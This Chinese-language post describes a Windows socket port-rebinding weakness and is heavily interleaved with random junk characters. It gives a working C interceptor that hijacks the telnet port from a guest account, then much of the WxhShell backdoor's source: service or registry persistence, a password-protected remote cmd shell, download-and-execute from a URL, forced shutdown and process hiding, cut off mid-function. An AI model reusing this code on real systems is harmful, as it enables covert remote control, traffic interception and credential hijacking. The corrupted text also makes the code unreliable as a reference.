在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Hk|0HL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ntmyNf?; &d'Awvy0 saddr.sin_family = AF_INET;
*3D%<kVl 0q&'(-{s1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
><=gV~7lx q{ O% | bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8Dvazg}4 @u1zB: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/<rt1&0 h&kZjQ& 这意味着什么?意味着可以进行如下的攻击:
o-o'z'9 "] \+? 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RN@ctRS h`3eu;5) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
a<fUI%_ w}CmfR 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
GLGz2 ,# \o';"Q1H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
hI( SOsKs M'!U<Y
- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[b$4Shx ^gFqRbuS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
is/scv< *OyHHq|>q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
'ky b\q n6k9~ "? #include
h;j IYxj #include
(#;`"Yu #include
"kc/J*u-3 #include
M|] "W DWORD WINAPI ClientThread(LPVOID lpParam);
HEGKX] int main()
P bQk<"J1 {
WAn'kA WORD wVersionRequested;
9+keX{/c DWORD ret;
> ,DbNmi WSADATA wsaData;
(L`j0kPN BOOL val;
WMj}kq)SY) SOCKADDR_IN saddr;
CSCN['x SOCKADDR_IN scaddr;
B7"PIkk; int err;
7-BvFEM; SOCKET s;
H}:LQ~_2 SOCKET sc;
4WB-Ec int caddsize;
[=|jZVhT HANDLE mt;
b
pv=% DWORD tid;
i.:. Y wVersionRequested = MAKEWORD( 2, 2 );
~i.k$XGA err = WSAStartup( wVersionRequested, &wsaData );
$2%f 8& if ( err != 0 ) {
_$>pw< printf("error!WSAStartup failed!\n");
yOvm`9 return -1;
lq"f[-8a2q }
U#1bp}y saddr.sin_family = AF_INET;
0T>H)c6:\ 3su78e t} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
x1ztfJd F!.E5<&7= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|$7vI&m saddr.sin_port = htons(23);
CX m+)a-L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5cWw7V<m {
=v*.p=r printf("error!socket failed!\n");
z.rh]Zq return -1;
rL5z]RY }
1 tR_8lC val = TRUE;
C^)*Dsp //SO_REUSEADDR选项就是可以实现端口重绑定的
Zec <m8~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6b!F 1 {
JBnKK printf("error!setsockopt failed!\n");
~g7l8H67 return -1;
"4%"&2L }
*]i!fzI'] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1$*%" 5a //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
b2@VxdFN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=rR~ ` DvM5 k if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ZR\VCVH\^ {
21(p|`X ret=GetLastError();
#);[mW{F printf("error!bind failed!\n");
&[hLzlrg return -1;
d`1I".y }
=LTmr1? listen(s,2);
A0%}v* while(1)
+,2Jzl'- {
p^iRPI caddsize = sizeof(scaddr);
RQFI'@Ks //接受连接请求
4R5D88=C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
>s` J5I! if(sc!=INVALID_SOCKET)
. <tq61 {
P+)DsZ0ig mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s#uJ
;G if(mt==NULL)
ykrr2x {
ujJI
1I printf("Thread Creat Failed!\n");
]!IVz)<E& break;
Pm$q]A~ }
I7&_Xr }
}y%oT
P&
CloseHandle(mt);
[{r}u }
ai*f
F closesocket(s);
i>[_r,-\[ WSACleanup();
,hVvve,j} return 0;
]QuM<ms }
9h0X &1u DWORD WINAPI ClientThread(LPVOID lpParam)
wKH ::! {
M3~K,$@ SOCKET ss = (SOCKET)lpParam;
XO <y+ SOCKET sc;
-rKO
)} unsigned char buf[4096];
^V|Oxp'7_ SOCKADDR_IN saddr;
;=? ~
-_ long num;
oBUxKisW DWORD val;
)a3IQrf= DWORD ret;
IL_d:HF|1 //如果是隐藏端口应用的话,可以在此处加一些判断
/CTc7.OYt //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
xF8}:z0 saddr.sin_family = AF_INET;
cVwbg[W] saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ys!>+nL| saddr.sin_port = htons(23);
vS;1/->WD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
F}
d {
QORN9SY printf("error!socket failed!\n");
r_YIpnJ return -1;
7#<c>~
}
w{dIFvQ"$ val = 100;
|7KeR- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
x3rlJs`$; {
8t=(,^c ret = GetLastError();
_
%%Z6x( return -1;
]m#5`zGK1| }
4:9KR[y/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A6oq.I0 {
G
Xt4j ret = GetLastError();
uGs;}<<8 return -1;
~r{5`;c }
}Yv\0\~'W| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{m`A!qcD| {
3Oa*%kP+ printf("error!socket connect failed!\n");
@/&b;s73 closesocket(sc);
ESoAzo,u closesocket(ss);
{iG@U=> return -1;
gDIBnH }
J1XL<7 while(1)
Db"DG( {
;#MB7A
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
al+ #y)+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
@t1V
o}c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1.q_f<U num = recv(ss,buf,4096,0);
s6o>m*{ if(num>0)
M/z}p send(sc,buf,num,0);
8z5# ]u; else if(num==0)
$0^P0RAH break;
Vpp;\ num = recv(sc,buf,4096,0);
^2]LV6I if(num>0)
^h&I H| send(ss,buf,num,0);
C>Is1i^9 else if(num==0)
%c)[
kAU! break;
saD-D2oj }
pb0E@C/R closesocket(ss);
1|8<H~& closesocket(sc);
vKoP|z=m return 0 ;
S-#q~X!yJ }
t4K~cK 'lZ.j& V\K<$?oUb ==========================================================
T#Z%y!6 U.T|
下边附上一个代码,,WXhSHELL
XR0O;JN \M]-bw` ==========================================================
iq*A("pU
fa.0I~ #include "stdafx.h"
F>gmj'-^ V^Rkt%JY #include <stdio.h>
tZ2e!<C #include <string.h>
D@X+{ #include <windows.h>
/XS&d%y #include <winsock2.h>
/(t sb #include <winsvc.h>
IF*&%pB #include <urlmon.h>
_y .]3JNm M2@^bB\J #pragma comment (lib, "Ws2_32.lib")
_~aG|mAj #pragma comment (lib, "urlmon.lib")
Tp<k<uKD xv7"WFb #define MAX_USER 100 // 最大客户端连接数
;3C:%!CdA] #define BUF_SOCK 200 // sock buffer
;7Oi! BC #define KEY_BUFF 255 // 输入 buffer
TFDm5XJ Kt#,]] #define REBOOT 0 // 重启
DG;y6#|p #define SHUTDOWN 1 // 关机
VhEM k\ ngi<v6 i #define DEF_PORT 5000 // 监听端口
T@^]i& l0tYG[ #define REG_LEN 16 // 注册表键长度
z(c9,3 #define SVC_LEN 80 // NT服务名长度
b]gY~cbI8 8Z85D // 从dll定义API
=neL}Fav56 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
GJ'spgz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
y|_Eu: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
OY"6J@[z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ZkB3[$4C=5 VF0dE // wxhshell配置信息
6gOe!mm struct WSCFG {
NBl
__q int ws_port; // 监听端口
O_K_f+7 char ws_passstr[REG_LEN]; // 口令
L(&}Wv int ws_autoins; // 安装标记, 1=yes 0=no
*Zd84wRSj char ws_regname[REG_LEN]; // 注册表键名
#l1Q e` char ws_svcname[REG_LEN]; // 服务名
(foBp char ws_svcdisp[SVC_LEN]; // 服务显示名
u@%|kc` char ws_svcdesc[SVC_LEN]; // 服务描述信息
e,A)U5X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U l Mi.;/^ int ws_downexe; // 下载执行标记, 1=yes 0=no
/48 =UK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
b4,jN~ci char ws_filenam[SVC_LEN]; // 下载后保存的文件名
bdh(WJh% 6-,m}Ce\ };
PI5j"u UO wz -)1! // default Wxhshell configuration
TF+
l5fv struct WSCFG wscfg={DEF_PORT,
nv5u%B^ "xuhuanlingzhe",
Tvf~P w 1,
L*?!Z^k "Wxhshell",
EY>8O+ "Wxhshell",
`{FwTZ=6{ "WxhShell Service",
INMP"1 "Wrsky Windows CmdShell Service",
,=[*Lo>O "Please Input Your Password: ",
igDyp0t 1,
A~-#@Z "
http://www.wrsky.com/wxhshell.exe",
B94
&elu "Wxhshell.exe"
dGgP_S };
F}ukZ
DB HW7FP]NH // 消息定义模块
:Eh'( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
F'J [y"~_ char *msg_ws_prompt="\n\r? for help\n\r#>";
n+2J Dq|?p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
{w`:KR6o7 char *msg_ws_ext="\n\rExit.";
[ug,jEH"S char *msg_ws_end="\n\rQuit.";
nJ3vi}` char *msg_ws_boot="\n\rReboot...";
OKwOugi0 char *msg_ws_poff="\n\rShutdown...";
0|)19LR char *msg_ws_down="\n\rSave to ";
}WP-W |LYKc.xo char *msg_ws_err="\n\rErr!";
E*v]:kok char *msg_ws_ok="\n\rOK!";
P0\eBS {^RG%
&S char ExeFile[MAX_PATH];
w4MwD?i]R int nUser = 0;
@eQld\h' HANDLE handles[MAX_USER];
ekzjF\!y int OsIsNt;
Go+[uY^ }_4 6y*o8 SERVICE_STATUS serviceStatus;
I
8Y*@$h SERVICE_STATUS_HANDLE hServiceStatusHandle;
&y:CW>T$/X <Dw]yGK@ // 函数声明
6`puTL? int Install(void);
+ Oobb-v int Uninstall(void);
QXk"?yT`E int DownloadFile(char *sURL, SOCKET wsh);
c>Z*/>~ int Boot(int flag);
P%o44|[][ void HideProc(void);
c"Y!$'|Q int GetOsVer(void);
U|fTb0fB int Wxhshell(SOCKET wsl);
z<a2cQ?XQ void TalkWithClient(void *cs);
!
sYf< int CmdShell(SOCKET sock);
#w~0uCzQ@ int StartFromService(void);
LC'F<MpM int StartWxhshell(LPSTR lpCmdLine);
\K`jCsT q6[}ydV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P79R~m` VOID WINAPI NTServiceHandler( DWORD fdwControl );
V;[p438o _p4}<pG // 数据结构和表定义
8j\d~Lw= SERVICE_TABLE_ENTRY DispatchTable[] =
g{DFS[h {
5t'Fv<g {wscfg.ws_svcname, NTServiceMain},
J@bW^>g*6u {NULL, NULL}
Lbq_~ };
SgSk!lj x1DVD!0 ~{ // 自我安装
_.f@Y`4d int Install(void)
NV!4(_~ {
Hhf72IX char svExeFile[MAX_PATH];
Wu{&;$ HKEY key;
=WRO\lgv. strcpy(svExeFile,ExeFile);
3h JH(ToO Dt {') // 如果是win9x系统,修改注册表设为自启动
Y.
TYc; if(!OsIsNt) {
_bQL[eXd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tBl#o ^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/VtlG+dLl RegCloseKey(key);
HU[oR4E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i=da,W=0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|a(Q4 e/, RegCloseKey(key);
]GS~i+ =M return 0;
RSH/l;ii }
z_(eQP]) }
!"(u_dFw }
Qk7J[4 else {
v!!;js^ 4hNwKe"Ki // 如果是NT以上系统,安装为系统服务
aiR5/
ZD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|LFUzq>j if (schSCManager!=0)
H0tF {
9UmBm#" SC_HANDLE schService = CreateService
\L#QR (
Kfd _uXL> schSCManager,
tJ1-DoU wscfg.ws_svcname,
,Qo}J@e( wscfg.ws_svcdisp,
nhT;b,G.Z SERVICE_ALL_ACCESS,
$F1_^A[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3B"7VBK{ SERVICE_AUTO_START,
ruHrv"29 SERVICE_ERROR_NORMAL,
.WO/=#O svExeFile,
Z3n~&! NULL,
V#H8d_V NULL,
5\?3$<1I NULL,
g$gS7!u, NULL,
q4k`)?k9 NULL
k1wr/G'H[ );
\Jf9npz3 if (schService!=0)
x,-S1[#X; {
O99mic CloseServiceHandle(schService);
x.G"D( CloseServiceHandle(schSCManager);
u
!.DnKu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B<C&ay strcat(svExeFile,wscfg.ws_svcname);
/.2u.G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
;&7,73! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RK;;b~
RegCloseKey(key);
9RB`$5F;
return 0;
(7 ijt }
-4%]QS }
<4sj@C CloseServiceHandle(schSCManager);
4n4j=x]@ }
\AHY[WKx }
v<+4BjV!J} QD}1?)} return 1;
$*i7?S@~- }
pzAoq)gg: }Qb';-+;d // 自我卸载
;fkSrdj int Uninstall(void)
p}f-c {
/o\U/I HKEY key;
hafECs tU(y~)] if(!OsIsNt) {
Y@ObwKcG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Kc-4W6?$ RegDeleteValue(key,wscfg.ws_regname);
v#Sj|47 RegCloseKey(key);
n/?eZx1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BMY>a RegDeleteValue(key,wscfg.ws_regname);
u'=(&>< RegCloseKey(key);
TIETj~+ return 0;
h$|3dz N }
pIvfmIm }
QjqBO+ }
hXPocP else {
H)`@2~Y
6#O#T;f) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
J2'W =r_# if (schSCManager!=0)
,y{0bq9*2 {
_o&94& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{&0mK"z_ if (schService!=0)
FQ0KUb}0 {
~JAjr(G#o if(DeleteService(schService)!=0) {
d4% `e&K]' CloseServiceHandle(schService);
]79~:m[C CloseServiceHandle(schSCManager);
P6:;Y5e0 return 0;
`,Xb8^M2 }
xl3zy~;M CloseServiceHandle(schService);
/ =-6:L }
RrKfTiK H CloseServiceHandle(schSCManager);
U>in2u9 }
k06xz#pL }
Ma>:_0I5 T0YDfo return 1;
^DzL$BX }
64h_1,U yAAG2c4( // 从指定url下载文件
kq>GMUl~@ int DownloadFile(char *sURL, SOCKET wsh)
](_{,P {
Ny.*G@& HRESULT hr;
@W#fui<<}Y char seps[]= "/";
fEB195#@9 char *token;
z;[gEA+I char *file;
L
43`^;u char myURL[MAX_PATH];
!O 4<I_EY{ char myFILE[MAX_PATH];
>dyhox2*" eN2dy-0 strcpy(myURL,sURL);
G l_\Vy token=strtok(myURL,seps);
oPCrD.s while(token!=NULL)
F OeVRq:# {
"Wo.8 file=token;
oHOW5 token=strtok(NULL,seps);
xC[~Fyhp }
0r0c|*[+4z \QliHm! GetCurrentDirectory(MAX_PATH,myFILE);
T<f2\q8Uo= strcat(myFILE, "\\");
Q,D0kS P strcat(myFILE, file);
<{E;s)hD? send(wsh,myFILE,strlen(myFILE),0);
J6eJIKK send(wsh,"...",3,0);
w2 /* `YO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RzpC1nd if(hr==S_OK)
U@#?T return 0;
u1tq2"D8 else
P@2tR5<R return 1;
]/LWrQD \{[D|_
}
bo&\3 `0Yt1Z& // 系统电源模块
C%0<1mp int Boot(int flag)
XO 0>t{G {
z<n"{% HANDLE hToken;
CdDH1[J TOKEN_PRIVILEGES tkp;
^eT@!N JOJh,8C)6 if(OsIsNt) {
XpR.rq$] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"EN98^
Sl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
('T4Db tkp.PrivilegeCount = 1;
EbG_43SV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m{vT_ei AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
a_Z.J3 if(flag==REBOOT) {
ri"?,}( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-T 2~W! return 0;
]vRVo6@ k }
|^Y*~d<H else {
giaD9$C if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xR*5q1j return 0;
ylkpYd }
y>@v>S }
RlU;v2Kch else {
`@4 2jG}* if(flag==REBOOT) {
:-$cdZ3E if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2IKxh return 0;
tDEXm^B2Sv }
9cVn>Fb else {
Km[]^;6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Y=5!QLV4 return 0;
w}IL
8L(D }
4Sg<r,G }
\H,V 9!B +]A+!8%Z return 1;
,D:iQDG^ }
$/NGNkl[ C]yvK} // win9x进程隐藏模块
o~Bk0V= void HideProc(void)
?nB helW^ {
UVc>i9,0 |}M~kJ) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
pZc9q8j3 if ( hKernel != NULL )
R"m.&%n {
'wCS6_K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
-$AjD?; ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
0\V\qAk FreeLibrary(hKernel);
DfAiL( }
3Qqnw{* -X`~;=m>U return;
gcX5Q^`a= }
TvQWdX= p3V9ikyy // 获取操作系统版本
+<'uw int GetOsVer(void)
w~bG<kxP {
db{NKwpj' OSVERSIONINFO winfo;
"
7l jc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
F?}m8ZRv GetVersionEx(&winfo);
j09mI$2y67 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
5Z^$`$/.v# return 1;
6&g!ZE'G else
38"8,k return 0;
O{;M6U8C\ }
e7Yb=/F M\:"~XW // 客户端句柄模块
?whRlh int Wxhshell(SOCKET wsl)
3c1o,2 {
d[~au=b SOCKET wsh;
^JYF1 struct sockaddr_in client;
#nU@hOfg DWORD myID;
gg lNpzj ~J8cS while(nUser<MAX_USER)
j zxf"X- {
@qg0u#k5 int nSize=sizeof(client);
~0VwF wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I>N-95 if(wsh==INVALID_SOCKET) return 1;
*D,v>( ~@b9
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
==jkp
U*= if(handles[nUser]==0)
"U/NMGMj closesocket(wsh);
qg_>`Bv"a else
v&t`5-e-A nUser++;
OhA^UP01- }
/ChJ~g " WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jD&}}:Dj k#l'ko/X return 0;
G:E+s(x }
@oe3i "cnG/{($* // 关闭 socket
+=n
x|:no void CloseIt(SOCKET wsh)
#J%h!#3g {
v:'P"uU;4 closesocket(wsh);
9`nP(~ nUser--;
*X-~TC0
[ ExitThread(0);
i~v@ }
&%_y6}xIw "Qiq/"h // 客户端请求句柄
#Pe\Z/ void TalkWithClient(void *cs)
kphy7>Km {
pl1EJ < Z'*G'/* SOCKET wsh=(SOCKET)cs;
M]8eW char pwd[SVC_LEN];
|-SI(Khjk char cmd[KEY_BUFF];
jzu l{'g char chr[1];
-9tXv+v? int i,j;
4YU 1Kr4 44/0}v] while (nUser < MAX_USER) {
@&am!+z aT`02X if(wscfg.ws_passstr) {
|Oj,S|Z: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U 8qKD //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&?`d8\z //ZeroMemory(pwd,KEY_BUFF);
;
@[.$Q@I i=0;
l(0&6ENyj while(i<SVC_LEN) {
,b2O^tJF# P:zEx]Y% // 设置超时
o'= [< fd_set FdRead;
2vW,.]95M struct timeval TimeOut;
% @^VrhS FD_ZERO(&FdRead);
} (GQDJp FD_SET(wsh,&FdRead);
B?/12+sR TimeOut.tv_sec=8;
`9G$p|6 TimeOut.tv_usec=0;
+v `^_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Z3u""oM/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
H|(*$!~e Y/:Q|HnXQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Bv
|jo&0n pwd
=chr[0];
K|Ij71
if(chr[0]==0xd || chr[0]==0xa) { 6):sO/es
pwd=0; ]0/~6f
break; +Qb2LR
} ]UpHD.Of[t
i++; 4n.i<K8K[
} lHj7O&+
9X^-)G>
// 如果是非法用户,关闭 socket J^<j=a|D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZQ-z2s9U
} HzO0K=Z=R0
)Or:wFSMq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .J7-4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W4] 0qp`\
0ghwFo
while(1) { se*pkgWbz
'Rar>oU
ZeroMemory(cmd,KEY_BUFF); "_% 0|;
RIVN>G[;L
// 自动支持客户端 telnet标准 w~FO:/
j=0; 9N3oVHc?
while(j<KEY_BUFF) { ,2:L{8_L
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !&`7
cmd[j]=chr[0]; |[n|=ORI'
if(chr[0]==0xa || chr[0]==0xd) { ="[+6X
cmd[j]=0; {&JurZ
break; }O-%kl
} fxf
GJNR
j++; HDfQ9__
} "> 4[+'
kH(3
// 下载文件 94>7-d
if(strstr(cmd,"http://")) { ^Qb!k/$3y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); KG./<"c
if(DownloadFile(cmd,wsh)) ?eg@
7n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}7o
a9Q<
else \FaB!7*~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4j=@}!TBt
} 9#=IrlV4
else { Se]t;7j
tX2>a
switch(cmd[0]) { CB7R{~
$
^
8Nr %NJ
// 帮助 k3htHCf*G$
case '?': { mrBhvp""
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [4(A458H
break; _ER
cmP
} 0aq-drl5\
// 安装 `S!uj <-
case 'i': { %L=h}U13
if(Install()) #$
raUNr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dD@lG~
else CEJG=*3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y`P7LC
break; ~'YSVx& )
} I7-PF?
// 卸载 w `9GygS
case 'r': { UVuuIW0k
if(Uninstall()) 0O9
Lg}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ftyNaq'
else L[9+xK^g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [>QsMUvak
break; cF>;f(X
} &G5I0:a
// 显示 wxhshell 所在路径 @eD~FNf-]
case 'p': { oFx gR9
char svExeFile[MAX_PATH]; f\%X7.
strcpy(svExeFile,"\n\r"); =GS_ G;Dz
strcat(svExeFile,ExeFile); 74!JPOpQH
send(wsh,svExeFile,strlen(svExeFile),0); uX5B>32
break; x+j/v5
} 5D@Q1
// 重启 9~ .BH;ku
case 'b': { &I">{J<
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O8}s*} ]
if(Boot(REBOOT)) U";Rp&\3;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }lbx
else { &[\arwe)
closesocket(wsh); dodz|5o%
ExitThread(0); gQzF C&g
} IaZAP
break; :zk.^q
} \V7x3*nA
// 关机 l~>rpG
case 'd': { 4w
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SodW5v a
if(Boot(SHUTDOWN)) Wh&Z *J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cN(QTbyl6Q
else { )9P
closesocket(wsh);
TOP'Bmb
ExitThread(0); m*WEge*$t
} p{_O*bo
break; &5CeRx7%
} ]$X=~>w
// 获取shell .
*+7xL
case 's': { bJu,R-f
CmdShell(wsh); A7}|VV
closesocket(wsh); `>HthK
ExitThread(0); Wa<NId
break; t"m`P1
} ?q8g<-?
// 退出 wH5O>4LO
case 'x': { Jrrk$0H^~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JC-yiORVr
CloseIt(wsh); NQ{Z
break; gnK!"!nL
} 2QD
B'xs3
// 离开 T</gWW
case 'q': { cnO4NUDv
send(wsh,msg_ws_end,strlen(msg_ws_end),0); HCZ%DBU96
closesocket(wsh); iONql7S @
WSACleanup(); y3$\ m
exit(1); ZI*A0_;L
break; `9)2nkJk'z
}
Rf$6}F
} eHZl-|-
} ;(Va_
w9}IM149
// 提示信息 W..>Ny;'3
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ji:@z%osr
} 2{qG
} k0=y_7
=(5
PhL5EYn
return; 2]KPW*V
} :D7!6}%
DO*C]
// shell模块句柄 Icb;Yzt
int CmdShell(SOCKET sock) v2<gkCK^
{ 745PCC'FK
STARTUPINFO si; %&S]cEw
ZeroMemory(&si,sizeof(si)); ~DS9{Y
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P?-44m#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e=$xn3)McY
PROCESS_INFORMATION ProcessInfo; *)sz]g|d
char cmdline[]="cmd"; eesLTyD2_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yr DYw T
return 0; 66;O 3g'
} R9HS%O6b6
e/%YruzS
// 自身启动模式 rx)Q]
int StartFromService(void) -B! TA0=oJ
{ k18V4ATE]
typedef struct vK/Z9wR*05
{ WWzns[$f
DWORD ExitStatus; oMf h|B
DWORD PebBaseAddress; l$@lk?dc
DWORD AffinityMask; y$W3\`2q
DWORD BasePriority; uU"s50m
ULONG UniqueProcessId; 6!m#_z8qG3
ULONG InheritedFromUniqueProcessId; Qc/J"<Lx
} PROCESS_BASIC_INFORMATION; Hc3/`.nt
e6a8ad
PROCNTQSIP NtQueryInformationProcess; 7]53GGNO
